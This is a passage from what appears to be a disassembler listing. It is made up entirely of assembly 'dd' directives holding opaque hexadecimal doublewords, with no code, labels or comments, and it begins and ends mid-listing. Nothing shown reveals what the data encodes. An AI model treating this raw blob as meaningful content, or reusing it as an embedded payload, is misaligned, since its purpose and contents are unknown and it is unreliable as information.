		dd 0CB8E7396h, 0FB49A524h, 0E48F7487h, 1EC52213h, 43D021AEh
		dd 0E914D016h, 25B1274Bh, 819A7D7Bh, 5B44B9B7h,	0D344751Ah
		dd 15232BFh, 0B6A0445Dh, 10311000h, 0BA0264B5h,	5E4A5C69h
		dd 0D18D405Dh, 60792F93h, 6816C0D0h, 3F8C0AB4h,	4119407h
		dd 0B2D0215Eh, 2CBF923Eh, 5B5DE936h, 575E7462h,	3E2608E0h
		dd 69F8784Ch, 20FEE896h, 584EF253h, 9FB87D15h, 89E977D9h
		dd 2DB1E464h, 0DA2F6F5h, 5802CF66h, 425FEA56h, 43C3DD19h
		dd 5A00E8CDh, 26B16EA0h, 92B89DFAh, 0D345F84Eh,	0C6072C09h
		dd 0D74E4D33h, 3B30694Ah, 87A315D5h, 0A411E912h, 6341F874h
		dd 39C47F25h, 0BE540222h, 0A4DB42DFh, 0E0240B75h, 1828CE62h
		dd 0A832D778h, 40F00105h, 0C59D8DB2h, 0D2A2A59Eh, 0C07963C6h
		dd 16218997h, 6402F9EBh, 500242C0h, 36E9545Eh, 9D8BFBE4h
		dd 0FCBA5216h, 0CD0AB535h, 2C53D51Fh, 0C97C9890h, 0A4443482h
		dd 1760C154h, 0D632BD1Bh, 0E1F81788h, 518131AFh, 2B575C41h
		dd 0CF896D31h, 0C42A3131h, 3FDECAADh, 0ACEF135Bh, 0A549EDEDh
		dd 665B9D5h, 8A09BE02h,	3194D776h, 0AB1F1444h, 0C28E17A7h
		dd 315195F4h, 89D2DF3Ch, 0B59C86Bh, 65335406h, 8845F0D4h
		dd 0A2970C7Eh, 9DAA0A6h, 52F0500h, 0D983AEBh, 22BDEAFAh
		dd 541DBEE9h, 25016E8Eh, 0DFB85A0Ah, 4EA80B5Bh,	0A0D6E984h
		dd 62250317h, 0BB3C538h, 9EDD5D54h, 944D9954h, 6CA1D588h
		dd 40920185h, 0ED46C1CBh, 0F0134069h, 8EA5E8D0h, 0C66642B9h
		dd 75746219h, 308EE6AEh, 165BE886h, 0C4878B7h, 49626B7Dh
		dd 0B1830324h, 4120B280h, 3FCB3BEBh, 9099B8CBh,	99E91308h
		dd 0E2BBA440h, 3EF5F89Ch, 0D133DA31h, 0ADA2ACCBh, 0E57A2FC1h
		dd 0FCC8C103h, 13BFE1F3h, 5E03AE10h, 0F7A2045Fh, 801CE8DFh
		dd 3A7C3FFCh, 5FFD2529h, 0B9F16090h, 7E62C694h,	57125F11h
		dd 4033147Fh, 0D95AE983h, 4A053700h, 0EA315B1Eh, 4A12EC69h
		dd 7D24BC47h, 3E041D3Dh, 0DB02F041h, 77E916A6h,	17F653B6h
		dd 0F1C68257h, 0D440325Dh, 311E2463h, 7559CF31h, 0B0F02BD4h
		dd 0ED06E4C0h, 0D156ABAFh, 3EC77DF2h, 0F376E509h, 3A7E0B5Ah
		dd 0EB8930DDh, 98D9262h, 8CB161B0h, 0EAA3DE05h,	2FF8365Dh
		dd 9BF798CCh, 0D687828Ah, 0C38DAC05h, 46666305h, 10BE2945h
		dd 5A2608F0h, 61CF003Ch, 0F2684AB5h, 2DE92740h,	41FC0680h
		dd 5A32EE6Ah, 5E4D755Ch, 42C4E90Bh, 492C7155h, 25F5F405h
		dd 3CD8A879h, 8ED74A68h, 23B3D185h, 0C4553867h,	7F0BA13Eh
		dd 0CBD28177h, 76E7FF8h, 8B9FBDF6h, 930C5861h, 87FD92A7h
		dd 0F27CDB50h, 0F6A313BDh, 0C9546BC8h, 41295881h, 56AB2A80h
		dd 0CCB829B5h, 0DE136A7Eh, 428D4F76h, 475F4A8Ch, 8D124522h
		dd 2AFA094h, 8FE9507Fh,	6F555949h, 0D4685B60h, 470F264Dh
		dd 67ED0124h, 2E593D42h, 1EE9B602h, 30A37F6Ch, 0BBEC66D9h
		dd 220AB512h, 76AD9702h, 2D5B033Ch, 6C20074Bh, 0B5B71965h
		dd 67BE2851h, 682C495Dh, 0D92F8CB8h, 0C1AB323Eh, 0EA9E3051h
		dd 0FB409762h, 88255BDCh, 2F9564E7h, 5693A746h,	85AB92FFh
		dd 81733503h, 7BD45FD5h, 0FBE12D25h, 5584E1C2h,	560798F4h
		dd 36AE6816h, 849A9DEDh, 0BF2E5DDh, 8FF47C6Ch, 0FAD334C2h
		dd 0FB1CA2B2h, 0A25B25A5h
		dd 0ECD2E963h, 0CFC13DBCh, 9329164Fh, 62FDFEFCh, 0BE431188h
		dd 0A81A4E5Fh, 480A57Ch, 6BE90289h, 9B6425ACh, 604E25F4h
		dd 7249B0FDh, 0B5B7E8B5h, 538402FDh, 8051090Ch,	80B5320Fh
		dd 4AC57D30h, 52D9804Dh, 1216E068h, 7FF3FF6h, 103753E8h
		dd 7FA5E96Dh, 80714AB5h, 6AD36570h, 8B294873h, 8890BCC5h
		dd 77CB3F9Ah, 29A421C8h, 5CE281D9h, 0AB5B935Bh,	4716C31Fh
		dd 0F1C4F9A9h, 0C89DEE62h, 91A4006Ch, 26F82CB9h, 3A25790Bh
		dd 0BDF273F2h, 0ECA20992h, 7731A184h, 3BC73511h, 7184A1A2h
		dd 5D540995h, 0AAA4516h, 0C0A06ED7h, 93465F18h,	42BF0171h
		dd 0D50809C1h, 5E22A616h, 36144B4Ch, 79B570F9h,	0B257E984h
		dd 16C382FFh, 65657C8Dh, 6E5DF1E0h, 5C80108Ah, 0D107E5C1h
		dd 1BE4ED7Fh, 2016B17h,	0BB124FFCh, 0C494EC9Eh,	66010B7Ch
		dd 0D34B20BDh, 84BDFDEBh, 0B402C2E0h, 45D604Ah,	0A1FD2BB3h
		dd 0A0161058h, 792DF3C0h, 0E0EEE426h, 4CB47D69h, 732F988Ch
		dd 8947D944h, 2B06ACFh,	0F49474E9h, 0BABC8412h,	0F65E0116h
		dd 0E3498594h, 3F9176FCh, 983B0BD6h, 0D1428D48h, 0C84CBA2Dh
		dd 120E7BFh, 531E700Ch,	3AC796E9h, 6926F021h, 0D9980105h
		dd 7E39C830h, 0B644FC0h, 0EDC24FE7h, 50CA00FEh,	0E930A153h
		dd 56DC4D15h, 0AE8588C5h, 70898F3Ch, 5C33E156h,	2FBB53C0h
		dd 0A4C9C5Fh, 0E84D10BDh, 98765B25h, 92BFE970h,	925894D8h
		dd 0BDDFF054h, 33C15817h, 0EF47D25Dh, 62356807h, 5DCE14BCh
		dd 8167EB00h, 257B50EEh, 0DE840B50h, 45305395h,	0D6E5FC56h
		dd 82F26EE4h, 2827BB4Ch, 0AC05C566h, 5D10088Eh,	0B1EEFE25h
		dd 0A8CB68DBh, 904135A1h, 4A7CB26Bh, 0CE80E8A9h, 76FEE923h
		dd 0E1621E99h, 0D10B0F5Ch, 0F3AC0159h, 67C78187h, 4117FEA2h
		dd 903BD27h, 49841C4Eh,	24C402AEh, 0C277473Dh, 1E958432h
		dd 0C209D1EDh, 0B78B43ADh, 40EAD1C1h, 740CE908h, 41EA51D2h
		dd 197EB0E6h, 5B0C8327h, 0DA4FE62Bh, 51F849F8h,	671A6E83h
		dd 0B1E26C3Ah, 0F5818DA0h, 4A303CE1h, 64B40C55h, 0E96512BDh
		dd 0C798E4A2h, 0BFB0DAB5h, 0C3851245h, 85575CE9h, 1ED336B2h
		dd 0FF5E52C8h, 9F7EE63Dh, 80E25B3Ch, 1700A392h,	533CE9h
		dd 2EBC9D65h, 19B0F8Dh,	3E0E28AEh, 0CE08F375h, 0F9973AC3h
		dd 0C537415Bh, 3E25BA86h, 32F40EE1h, 17129D15h,	7D34AD6Dh
		dd 0E9095EECh, 0F35CB4AEh, 0B05FCA66h, 0BDF420B9h, 8FC38102h
		dd 0FD314270h, 46EB94C1h, 95031C08h, 8B2DB656h,	5B1C920Bh
		dd 55E9E111h, 879D7A95h, 98D68E8h, 5D6E462Dh, 0F8400942h
		dd 0D74C9F57h, 0B0FC1025h, 0C254995Bh, 0DAA331C5h, 2606D025h
		dd 0C94CEF8Dh, 519C6689h, 35DD3139h, 94FA08EBh,	0D9F6612h
		dd 8F68580Ch, 0B50DCF63h, 0A045828Bh, 93445425h, 6D1307C6h
		dd 0E940E33Eh, 277E87E2h, 26536B82h, 90647073h,	7A7C387Ah
		dd 100C7BA4h, 107F48DFh, 0BD3EB3ADh, 0CB6388Fh,	4BC24749h
		dd 972673F1h, 68110251h, 0EF4B2F83h, 0E1BD5E2Ch, 386C3BE9h
		dd 109990C3h, 800EF493h, 0F76791EFh, 94C7614Bh,	60422188h
		dd 285BD9C4h, 0B0B70AACh, 0FA19E9CBh, 895842C1h, 6DA0205Fh
		dd 70D20DAh, 6A137BF7h,	0D60211CDh, 9229046Fh, 99D0D16Ch
		dd 7D03BF04h, 0E4C7669Fh, 6F46006Bh, 162F3099h,	0E8A1B7E9h
		dd 6816DD35h, 625C0CD0h, 87D54C43h, 5B4E8020h, 0F1209EA1h
		dd 0BBAB404Fh, 0A6327809h, 736B0049h, 9F097AF4h, 0C706D252h
		dd 686B03CBh, 0DB6E050Ch, 0FE054493h, 0B0E8A452h, 77C45019h
		dd 0A6E42AC1h, 0E5214A58h, 1B26FA8h, 0CA63B9D3h, 0F3186568h
		dd 2451A08Ah, 220961h, 4A95D90h, 0D790FB29h, 2AB541h, 13F82D15h
		dd 0C2BDBEDFh, 64675768h, 270E986h, 24E1BD81h, 0D1C06ECAh
		dd 4C8173B3h, 0D822BD0Eh, 4DCBE10Bh, 0FD26A4F3h, 2FBFC12h
		dd 0F722BE27h, 0C0998FD1h, 38739618h, 92DB7BE9h, 0F2544AD5h
		dd 5F82817Ch, 47C3B44h,	13E94705h, 64A5CA95h, 1AF6D284h
		dd 0E831FD12h, 40E9C42Eh, 82D9FFA5h, 529875EEh,	4D5D6068h
		dd 9C68B030h, 89EEB556h, 15822DDFh, 0D256630Dh,	0AF64208Eh
		dd 0D681B22Fh, 0CA8039E7h, 4E2C0F9h, 0E918D2F6h, 0BBF98909h
		dd 701807C3h, 0E3F38152h, 31B202FEh, 2DD42642h,	48DD5544h
		dd 0E9C49C22h, 3B11EC7Bh, 0D5B616ACh, 4AB4218Ch, 9CFC41C3h
		dd 781FC218h, 77081690h, 0F67900EAh, 6AF460B9h,	41E542BDh
		dd 0FE05D725h, 18DFDA0Fh, 168DBA0Eh, 4B3E3906h,	0E78456F3h
		dd 0BE4C1DB9h, 31680A58h, 8E9B46B2h, 0C1896E87h, 37112E3Ch
		dd 98579E75h, 9F59F9B0h, 0D62FF8DBh, 8CE9E130h,	8A367B58h
		dd 9699AFCh, 4207E2C1h,	6B6D4C87h, 80811E14h, 6FA4035h
		dd 0EDF0CD29h, 2A5908A1h, 0F02120C0h, 174D4BE9h, 0C40ABD35h
		dd 0BB177D42h, 0FDB9DA53h, 4CD29710h, 64EA07FDh, 68F1EE46h
		dd 0E9001856h, 32BEB7A8h, 0E1C729C3h, 7E75C9FDh, 48A6F02Bh
		dd 0BDBF1140h, 12F42CD2h, 0B2427B4Ah, 80C91043h, 5F73F7D9h
		dd 0C276049h, 0E12B709h, 82FA893Dh, 0A9E9D331h,	89247EFFh
		dd 1CFFB36Ch, 69E2FC3Ch, 8FB2BFBEh, 3557E67Fh, 0FA2257D2h
		dd 384FD72Bh, 0B05A56EDh, 87683F20h, 55E6BD30h,	0B982DD29h
		dd 86DC13BCh, 2500F2D5h, 2B450EBh, 8EC05C0h, 0F20F5EE9h
		dd 545A27A0h, 6C5D7238h, 5C08EDC6h, 0CB4A0598h,	0BFE873C4h
		dd 0C10D91B4h, 0A5316A10h, 0B8049DE7h, 0B6417206h, 5802DC02h
		dd 0A08C8E00h, 82C59B45h, 0C602F36Ah, 0DC0888F8h, 0C1959E01h
		dd 0E407012Bh, 0BB19940Ch, 800247CBh, 0D028EDEAh, 815C8341h
		dd 1DFDC245h, 40BB41DFh, 0EA195630h, 24253F71h,	0C06F7C03h
		dd 3DB6614Bh, 5C1F2144h, 38C3E0D0h, 0CBB00FFDh,	1A270C2Bh
		dd 0C1957226h, 0E4688D14h, 12C8046h, 8923A66Dh,	5DE92DDDh
		dd 9E70180Bh, 10271E77h, 97F17819h, 7141311h, 581DA1C4h
		dd 959AFA6h, 745EF02Dh,	0C9C05AFEh, 0E9181FF7h,	0F62FBA2Bh
		dd 0A8FE5ADFh, 885D045Ah, 0B7C25BFAh, 38928451h, 0ABC0B4C3h
		dd 8B161308h, 29561A30h, 68C4A00Eh, 0C851C814h,	10496E5Eh
		dd 0BD2FA048h, 78569F5h, 33E58131h, 0C75C192Bh,	0FED6D301h
		dd 0F68301DFh, 2D685350h, 0A3EA4D8Eh, 0BF946082h, 259B0761h
		dd 0E203EDC1h, 0C5D504CDh, 0E580A735h, 3DE72C0Ah, 0FC55E912h
		dd 8441EEE3h, 385E9E2Ah, 0A5AC4A68h, 0F22D00D3h, 4B78BA09h
		dd 0F33CD160h, 48AA60F9h, 855A41B4h, 0DE9BEEDBh, 47B4D41h
		dd 3A52D0Ch, 0C3D9F758h, 10B29DA7h, 412E680Eh, 0A5F30469h
		dd 71CC12Ch, 5208EFC0h,	142C2ABAh, 0C8294346h, 12515317h
		dd 6E82B1E4h, 970874D0h, 29F42E3Bh, 0B1370995h,	94B01E55h
		dd 0B6F749CEh, 4048B0C6h, 86B857AFh, 1BB9940h, 0B59AA713h
		dd 2F59CB31h, 0B0A56DA1h, 0AAC9160h, 5C30F72Dh,	0F0D0161h
		dd 316C784Ch, 35B6DABh,	0AF13C7BDh, 7D31DA7Dh, 58D1324Bh
		dd 53A37B89h, 0ED13DF86h, 0A205D000h, 89E5E02Fh, 607CFCC3h
		dd 0F9EAEBFAh, 6B7B265Ah, 59D7A034h, 0F82435C4h, 4194D2C8h
		dd 8AB297BFh, 3116ECBCh, 0C67B70C1h, 2A0F6B78h,	0ACE014Dh
		dd 591308EEh, 4EE97B2Ch, 5CC80B29h, 200D9EF7h, 6BE754CAh
		dd 4E7CF8A3h, 0B7DF8592h, 5548504Fh, 65CA7712h,	0FA7B6300h
		dd 0B229B276h, 0A7CE50A3h, 41711BD0h, 10F8A218h, 0CC16ECAh
		dd 25683E2Bh, 1AA7942Bh, 14050C08h, 0A6C2AE5Dh,	0C90F0957h
		dd 0B1FF8689h
		dd 0D46F01F3h, 4592BEF6h, 87CC74BFh, 223423ADh,	0F4D0475Fh
		dd 38631220h, 0D81D3D04h, 0C568052Ch, 0B1963129h, 6E95F106h
		dd 0E4D2C7F1h, 0B9C0EEB9h, 221E8008h, 70682E52h, 0B0ACB618h
		dd 37E95829h, 0F2B3E3FAh, 8ACC5D81h, 4F41720h, 6558ECB9h
		dd 0FE08824Ah, 5C027D29h, 6ED502C3h, 86A1279Bh,	0E9D895F4h
		dd 0F4D15BCEh, 96A3930h, 0E82D5D77h, 0B103CBF7h, 2DD248EDh
		dd 0B2D2045Ch, 2E25FF75h, 22F4D7FEh, 9E7F2877h,	400498D2h
		dd 620BBD82h, 54543064h, 13C08FFh, 68BE5600h, 80317952h
		dd 75BC5ED8h, 7942BEE8h, 3800096Fh, 4DDD4EC5h, 72A3141h
		dd 0F0EB8156h, 0E967B869h, 5CB1EAE2h, 0B506A82h, 0C6206009h
		dd 8D42771h, 1C16AFDEh,	0EFF7F090h, 49E1E695h, 7E42F321h
		dd 23C73DC4h, 599F061Ch, 0D7FCE955h, 40476816h,	55327665h
		dd 91CCE1DEh, 0ED4B734Bh, 28794F9Dh, 120D022Fh,	2A5862E0h
		dd 54FA6815h, 0E47610BAh, 39479726h, 9272FF9h, 457A8AD4h
		dd 57B18214h, 16B8C1FEh, 0E917A5B6h, 0DCEC0F7Fh, 594091CBh
		dd 2F276859h, 62C1D65Eh, 29222DFCh, 8100DEEFh, 0E05806F2h
		dd 2BC02B2Ch, 0C448DD3Ah, 0BEEDFEF4h, 49E905A0h, 503B8A49h
		dd 0A3658412h, 4A19045Ch, 6C80748Fh, 4C0FE906h,	7581B3E2h
		dd 820CA030h, 7461870Ch, 588ED766h, 3027C96Dh, 0E77BCDF8h
		dd 4409B690h, 5749EB40h, 0B0895A8h, 0A1F890E9h,	8CDA79Bh
		dd 6D15CA80h, 0E68164B5h, 670B9C7Eh, 7AD6F732h,	51F509FDh
		dd 305C0343h, 1A598BBBh, 10FB84E8h, 1F10D9FDh, 3B681672h
		dd 2CAAFE64h, 504BFB7Eh, 58100BA3h, 6444DD6h, 7F693151h
		dd 0CDD2B50Eh, 0D19D7B30h, 17E070EDh, 1F89018Ah, 0A38B8979h
		dd 0C127B9CCh, 88155163h, 5C13F2D6h, 667CA0C0h,	70983A68h
		dd 4CB5A760h, 0E916F32Ch, 83B6EC2Ah, 4BDC5F69h,	0D87E15h
		dd 0D07A5825h, 50040514h, 0FA1D4EBEh, 0E94E4FD9h, 58084022h
		dd 25249FBBh, 5B4EF42Ah, 0BEA2D59h, 6EFC9761h, 1A219192h
		dd 3AD75F6Bh, 1FC50194h, 6071913Bh, 8BC6CD02h, 0B761D808h
		dd 24956F1h, 0B6350EBh,	996E6605h, 7296E49Bh, 2D8FC7B7h
		dd 73D8FE29h, 7FF96812h, 0E4D664E8h, 889850F4h,	0F6C6A620h
		dd 5C2D07D8h, 597BA861h, 0E985EBFCh, 0D1310ABDh, 41A62C68h
		dd 6F0C0995h, 0E7928051h, 6C8214B5h, 5E7A0D44h,	6DAD6155h
		dd 0AAE08E4Dh, 0B360A095h, 18762C30h, 4BFA421h,	87750748h
		dd 0BE532C8Fh, 2B193F0Ah, 0F5039F34h, 2D3C38h, 98ADD00Ch
		dd 6756E99Eh, 3D4122BFh, 0FF5F04C4h, 0DE02CC99h, 0F99C7D0Ch
		dd 0F578E919h, 50E8CD97h, 44576BEh, 0E41617E5h,	151C8051h
		dd 70F96A65h, 6B7A4A9Dh, 205A4D4Ch, 439D9812h, 2223801h
		dd 33687E92h, 4C49A2Fh,	104AE96h, 7CD1F26Ch, 0B0C1EC2Fh
		dd 0A5751E5h, 7D55A568h, 54A208DAh, 9525609h, 4FEDD283h
		dd 59ADA0F9h, 0CEA6595h, 0EFDBEA18h, 0CA467C0Fh, 74CF644Bh
		dd 257A2EF6h, 3B659E4Eh, 0CF684630h, 0C9949C38h, 0CE6E805Dh
		dd 157D802Dh, 1F6B95E9h, 22FDE592h, 0FEBAC0F8h,	0A049935Bh
		dd 28A4069Ch, 0B5B3B66Ch, 880E074Ah, 14BD00D0h,	0B8437037h
		dd 0B6571268h, 0F515EF63h, 7AA410C5h, 9A92D02h,	8E5E153Ah
		dd 5FF18103h, 0E3C1DC66h, 0AA04C880h, 4492FDE7h, 0FB6AFC7Fh
		dd 5BE9B83Ch, 88430592h, 729CABD5h, 41674085h, 80BF80C0h
		dd 2C89822Ch, 270859CBh, 69886F2h, 85521402h, 75FB0111h
		dd 10895996h, 0E4452ECBh, 64BFCDA3h, 3EBC5FEh, 64313C9Eh
		dd 1C83AFACh, 7B29D1B3h, 12D0CAD8h, 112686Eh, 6D6FD44Ch
		dd 0A3852A3Bh, 70B3240Fh, 6B565925h, 2EBA9C88h,	3A75257Dh
		dd 0D7B9414Bh, 0ED97C46Ch, 0CEA97FEh, 0C0134FF4h, 8003E607h
		dd 0F106D9EEh, 0C0D09F55h, 46F642D3h, 0B9833812h, 0C328C44Fh
		dd 0A198B3C1h, 0A011DBCh, 4B0BAB42h, 0A704A043h, 0B29FE709h
		dd 0A0535040h, 958EB098h, 2C3F30C7h, 79AD22F6h,	9E615A0Ch
		dd 59179C2Eh, 0C5055840h, 986EE338h, 344AE53Ah,	0E1352554h
		dd 4E459A2Eh, 0F0BBFE73h, 5F402064h, 7954F0D1h,	55E80C4Ah
		dd 243CBF96h, 0AB0F2566h, 4E14FB48h, 9D59B580h,	9D200178h
		dd 0BB777C6h, 5B66F908h, 81F5C58Bh, 0A78AE924h,	93EBC380h
		dd 83207B14h, 0F09D01ECh, 39BA8002h, 0F3AC2D61h, 0D92F16F2h
		dd 426F51CFh, 6376B7EEh, 0DE204E4Ah, 78DB420h, 0C5590EBBh
		dd 0D6ADA46Dh, 30F84F1h, 6663B252h, 3B2B91BFh, 469958F5h
		dd 2DCA04Bh, 0DE167788h, 0F5B65202h, 0DE8250E9h, 95A288B2h
		dd 7AE18007h, 3079C130h, 0BD595ECFh, 801A27E6h,	0E2E953EFh
		dd 9846B50Ch, 42D3C104h, 6E806C11h, 3D73087Fh, 1459E933h
		dd 0D6315E09h, 0EBF7A762h, 7E11FAE2h, 0D04161Bh, 308F594Bh
		dd 1F1E6D18h, 0FCA39D6h, 800C5A0Bh, 0C7E07E66h,	0A01CB539h
		dd 0E5C055F5h, 0A4202798h, 3E1ABD9Eh, 5AB7A457h, 2A0429AFh
		dd 9D6EB1A1h, 0F315582Ah, 20B4A548h, 236817EAh,	0A9C4613Dh
		dd 4F2901EDh, 0A6FC132Fh, 168788AFh, 12C28A5Ch,	0C4ABB951h
		dd 94C8FF49h, 0E86B4B9Eh, 800CC359h, 8CA19514h,	0DFEED4C9h
		dd 3ED9EE9Bh, 0F2CD2FEDh, 53B9C883h, 0A0F92A47h, 14D27D4Ch
		dd 4B1E9CA4h, 7451BB87h, 55212133h, 0E713F737h,	523AC890h
		dd 7BE56805h, 0AA00540Eh, 0E71084EAh, 3C80B704h, 2E9FD88h
		dd 0E5E3F895h, 34C9D8DBh, 226B2F3Ch, 64F6FD7Ah,	0A25D714Eh
		dd 0DAF70337h, 1DE1E287h, 1C80504Fh, 39F421B4h,	5A03D531h
		dd 6AE9E801h, 0ED3D02B0h, 4DC1495Fh, 14EC9180h,	15F5592h
		dd 68083E10h, 5916141Ch, 3D84FAA9h, 270212B3h, 0E16ABACFh
		dd 6C24DA4Dh, 0CE5A1344h, 41BDFD7Dh, 0A3A77E08h, 1672A64Bh
		dd 90A2989Bh, 8803B705h, 4F21AEFCh, 0EE057590h,	66608997h
		dd 770DB050h, 74E91230h, 1E644FD5h, 0F748A741h,	0AFBC21D6h
		dd 9546C167h, 0E1CFD5EDh, 2E35F1C0h, 0E560C695h, 68BDC05Ah
		dd 0A9B9729Dh, 0D05D5F8Bh, 85215C98h, 9125C24Ch, 776BC818h
		dd 19348024h, 0A45E5210h, 4B417F4Ch, 0EDE8473Fh, 5A074177h
		dd 0E5A6418Fh, 7BB982A6h, 8040C343h, 752269B6h,	0FE21136Ch
		dd 410CBF5Fh, 0BD02084Eh, 65F2D0F0h, 9AED913Ah,	0C29AF531h
		dd 25F45A58h, 0D179D842h, 17C7542h, 30D1B151h, 6812895Ch
		dd 5E300ECAh, 0B83031B0h, 0F180166Fh, 2916FF97h, 9156490Bh
		dd 0C27787BFh, 0B096809h, 123D0B73h, 1BB832F4h,	657DF5C1h
		dd 84A42A6Ch, 26110E60h, 0E7E04F34h, 19733D6h, 20DD0C9Dh
		dd 0CA8A053Bh, 52E4E93Fh, 4A02EEAAh, 75B758F2h,	0B6EB1702h
		dd 0AAC38001h, 7EF221h,	1B68564Eh, 64980927h, 5D8F1A95h
		dd 0D40398C0h, 0F0BA1500h, 0E962CF42h, 4BC86297h, 9B62B4CBh
		dd 0EC88E100h, 243B6C8Ah, 8643702h, 0D5F658E0h,	12219986h
		dd 5106307Ch, 7EF677B5h, 0BE8BAE60h, 0EBC5224Ah, 4206E042h
		dd 814EA44Ch, 0EE9712BBh, 8DE30165h, 0EF9450h, 51F4A65h
		dd 0E0B59A15h, 4D9CC7FCh, 0E88C398Bh, 2E3E4A95h, 30E748D3h
		dd 92EC83Ah, 0B56A6A64h, 5DD8BE00h, 96A170ABh, 68AD007Eh
		dd 8C594AE0h, 64560532h, 40CC0FDEh, 40E093A9h, 0DE9134Fh
		dd 6F6ACDB0h, 708B0827h, 0AC7B9F86h, 0F9107569h, 0CB6A12Dh
		dd 9C964EFh, 524BBB01h,	0BD2C9C7Dh, 113D2F40h, 1362F581h
		dd 675D0Dh, 4697E563h, 0CC14A3Ah, 76B80B6Dh, 0F81E6130h
		dd 31EB39AEh, 65B65D32h
		dd 9D1C5D64h, 0E06F3F4Ah, 3863F37Ah, 29ADC0B5h,	9903ED72h
		dd 57A54BF0h, 0E9D4FCE9h, 94DBC1EFh, 0EB800149h, 409DB060h
		dd 5C9505C2h, 0F854ADC2h, 5B9DABAh, 5E9B167Fh, 310BABAEh
		dd 9F0879A0h, 53516541h, 136242A6h, 3F145D9Bh, 0F993619Eh
		dd 0CCAF7F84h, 1794523Fh, 0DC57A25Ah, 69735CEAh, 92192557h
		dd 5DA8DB53h, 0A663DB05h, 5B50AF05h, 835F1F08h,	45FE02D7h
		dd 0F2726DD5h, 0E6E29385h, 0A0DBBC6h, 28D8B309h, 24047DE3h
		dd 89B88307h, 8FBFF399h, 39FE3306h, 0F82AE00Ah,	0E9C404B4h
		dd 0F1FCAF66h, 0F6EDE86h, 0F7306297h, 0A542C0ABh, 9B453FD9h
		dd 5559D04Bh, 84F157A0h, 915C6379h, 7C5625ABh, 16FD5AB9h
		dd 6EC28034h, 1EBD0510h, 0D0CC4CE9h, 342C7FC8h,	8F8E8EBFh
		dd 48A5CB51h, 25DEEFBh,	1E0CCE81h, 0E16266F0h, 42836881h
		dd 0E05C7021h, 68E3DF5Bh, 8A78F800h, 666A057Bh,	0F7715409h
		dd 445CD8h, 79917CC1h, 0D54BF4E9h, 11D0C297h, 0C8554501h
		dd 5005130Fh, 0C1ABF889h, 5870B82Fh, 681551FDh,	12D00517h
		dd 69475AA2h, 0EC325DCCh, 5BC0FFB3h, 0C2A274C4h, 0C0E40703h
		dd 8EE90390h, 40BF5A92h, 1671E47h, 77BE703Dh, 0CC3EC031h
		dd 0BA2CE9C6h, 865846E3h, 0BC209987h, 90A0DD27h, 57274AE5h
		dd 0B9B5295Fh, 264541F4h, 17192847h, 3F78A1FDh,	780CB29h
		dd 2E69BA52h, 0E9124C57h, 32F37995h, 6EAC182h, 0ACD00E42h
		dd 505C3ABFh, 0F3E925F3h, 0A2EAF748h, 29692374h, 0A6EB740Ch
		dd 478C088Fh, 80CB702Dh, 481D9CC1h, 4910F5C3h, 0C5F44EA6h
		dd 88480FC6h, 27C63D3Ah, 0D62E39C0h, 509F915Ah,	7CAC7309h
		dd 77126261h, 64EFBF56h, 81FCE4F8h, 9A30DE9Fh, 0E75A8B47h
		dd 0BF4A6A32h, 8CA2E0EFh, 0D5E29D53h, 736BAD7Ah, 4F847733h
		dd 6A7B8043h, 0F302D8A4h, 0AAE9DF89h, 4B54DAE5h, 0C5D4BC04h
		dd 6CF4E7E2h, 0B91107A1h, 2C40E939h, 0D05A3016h, 0F6570AD2h
		dd 2C565147h, 6BB9B53Bh, 0CCCF0313h, 0DA975344h, 66D42025h
		dd 175940C1h, 8B74437Eh, 970A09F6h, 8EDFC65Eh, 85CA6A9Ah
		dd 81C2B442h, 0F3254E56h, 0E7ABC02Eh, 15CC14Bh,	62D740D1h
		dd 5059F783h, 0ADEDF3B1h, 0B905FE28h, 5A41B7Eh,	74E26B5h
		dd 0A74F3A43h, 1CF09A0Ch, 370A41D8h, 605EF229h,	3E0ECA4Bh
		dd 0DE6E8F4Bh, 9BB41680h, 16D52971h, 0FE7CE7E9h, 8B21D275h
		dd 303B4A1Fh, 0CEE682Ch, 8AAB5B9h, 58C3F0B4h, 46BD82E9h
		dd 4B8FB020h, 0D4B3F55Ah, 0D84B01E9h, 0BFE2D0E8h, 2D91487Dh
		dd 0DE6B12D1h, 110BE77h, 1A85A07h, 21F5F9B7h, 525655B1h
		dd 0E23C6F30h, 817D00C7h, 32FCBCDh, 0C627E936h,	2511D172h
		dd 0D3D6EC14h, 0A12B2B29h, 5BB69696h, 5CA2E8F8h, 0FD6F42D7h
		dd 0E909DA6Fh, 6652E1BDh, 75BB1520h, 0AF681E58h, 0EA8F656Eh
		dd 0BFE357AFh, 29F27E70h, 0AB549277h, 52DDFC64h, 7E18278Bh
		dd 5E8099F2h, 5203BC5Bh, 2842F40h, 4B60F127h, 1951805Fh
		dd 0E3D1260Ch, 14D21096h, 7B1FD21h, 694FADEDh, 0A461F11Bh
		dd 1C672C65h, 0F8B5E09Ah, 564D2729h, 1CC18C92h,	97B400F8h
		dd 55E42680h, 28BE01DFh, 3C0858E1h, 0EEE9B074h,	89A994F9h
		dd 0C6FE530Bh, 0CE189D56h, 6198C688h, 5CBDA820h, 0D11090B7h
		dd 0F5291FC0h, 0A653A397h, 6B7F2DAFh, 0E01010B6h, 0B4680B44h
		dd 0BEF6634h, 546302B8h, 0C3ED0902h, 6852EFC8h,	4346A009h
		dd 61082022h, 5850D14Bh, 0F220D74Ah, 0B1192697h, 3FCC805Fh
		dd 9F5E7C5Bh, 4D7876E2h, 0D206E913h, 0E45D4232h, 943F2797h
		dd 0C7EA4ED9h, 0C55489ACh, 0BA79FBB8h, 7D596161h, 4A13B26Fh
		dd 72AEB613h, 0F6093CA8h, 2969E2E8h, 9F1D1EDDh,	6804315Bh
		dd 0C9F326A5h, 0C12D4134h, 5F0A365h, 0B5058916h, 9DFEB89Dh
		dd 0F7ED2AF1h, 0EF8F0212h, 87322631h, 5420F72Fh, 9375EB75h
		dd 0B8CFBB2Eh, 0FE2FE210h, 0EF203752h, 0D86825DFh, 52B02A46h
		dd 0F40E8B02h, 0C0415967h, 9A0605ADh, 0DE352ECBh, 8B9DC222h
		dd 0EABD35E5h, 0F701085Dh, 7FBA13D7h, 550BFA40h, 9E1B6099h
		dd 7CCC3227h, 0A30D9BDh, 881FE58h, 0C10B6F76h, 28354EBh
		dd 730F199Ah, 0C3FE401h, 4AD54B60h, 0BA86245Dh,	4F31BD89h
		dd 0DA09F315h, 0DDBB623Ah, 0E92DE39Ch, 0AD67C177h, 13C42C60h
		dd 1140A31h, 721D2158h,	830C8247h, 84170B27h, 0AC1350C1h
		dd 6F018147h, 826861C3h, 90FBED00h, 0DAE99E3Ch,	7BBCB255h
